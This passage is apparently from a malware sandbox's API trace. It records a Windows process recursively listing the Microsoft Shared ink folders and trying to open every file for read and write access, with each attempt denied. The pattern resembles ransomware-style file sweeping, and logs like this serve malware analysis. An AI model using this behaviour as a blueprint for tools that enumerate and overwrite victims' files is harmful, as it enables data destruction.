GetLastError () returned 0x5 [0086.333] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0086.333] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0086.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.333] GetLastError () returned 0x5 [0086.333] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0086.333] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0086.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.333] GetLastError () returned 0x5 [0086.333] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0086.334] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0086.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.335] GetLastError () returned 0x5 [0086.335] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0086.335] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0086.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.336] GetLastError () returned 0x5 [0086.337] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0086.337] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0086.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.337] GetLastError () returned 0x5 [0086.337] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.337] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned 72 [0086.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.337] GetLastError () returned 0x5 [0086.337] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0086.337] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0086.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.338] GetLastError () returned 0x5 [0086.338] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0086.338] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.340] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0086.340] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56 [0086.340] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*") returned 60 [0086.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.341] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.341] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.341] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0086.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.341] GetLastError () returned 0x5 [0086.341] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.341] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.341] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0086.342] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE") returned 56 [0086.342] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*") returned 60 [0086.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.344] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.344] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.344] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui") returned 72 [0086.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.344] GetLastError () returned 0x5 [0086.344] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb4e9cfd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeb74b2cd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeb74b2cd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.344] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.344] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0086.344] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned 56 [0086.345] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*") returned 60 [0086.345] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.345] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.346] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.346] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui") returned 72 [0086.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.347] GetLastError () returned 0x5 [0086.347] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.347] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.348] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0086.348] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0086.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.348] GetLastError () returned 0x5 [0086.348] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0086.348] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0086.348] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR") returned 56 [0086.348] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*") returned 60 [0086.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.349] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.349] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0086.349] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui") returned 72 [0086.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.349] GetLastError () returned 0x5 [0086.349] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0086.350] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.350] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0086.350] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned 64 [0086.350] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*") returned 68 [0086.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 